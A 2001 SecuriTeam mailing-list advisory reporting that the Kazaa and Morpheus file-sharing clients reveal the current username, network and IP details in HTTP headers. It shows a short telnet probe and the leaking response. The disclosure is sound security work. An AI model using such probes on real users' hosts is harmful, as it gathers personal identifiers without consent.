[NEWS] Kazaa and Morpheus Expose Sensitive Information

From: support@securiteam.com
Date: 08/29/01 

From: support@securiteam.com
To: list@securiteam.com
Subject: [NEWS] Kazaa and Morpheus Expose Sensitive Information
Message-Id: <20010829184957.8B803138BF@mail.der-keiler.de>
Date: Wed, 29 Aug 2001 20:49:57 +0200 (CEST)

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  Kazaa and Morpheus Expose Sensitive Information
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SUMMARY

Kazaa and Morpheus allow users to easily search, share, discover, create,
and communicate with other users. These products reveal sensitive
information about the remote host, and the username that is currently
being used by the remote client.

DETAILS

Example:
# telnet morpheus.users.ip.address
Trying morpheus.users.ip.address...
Connected to morpheus.users.ip.address.
Escape character is '^]'.
GET / HTTP/1.0

HTTP/1.0 200 OK
X-Kazaa-Username: {USER NAME HERE}
X-Kazaa-Network: MusicCity
X-Kazaa-IP: morpheus.users.ip.address:1214
X-Kazaa-SupernodeIP: 130.74.237.54:1214

ADDITIONAL INFORMATION

The information has been provided by <mailto:jsunday@parview.com> Jesse
Sunday.

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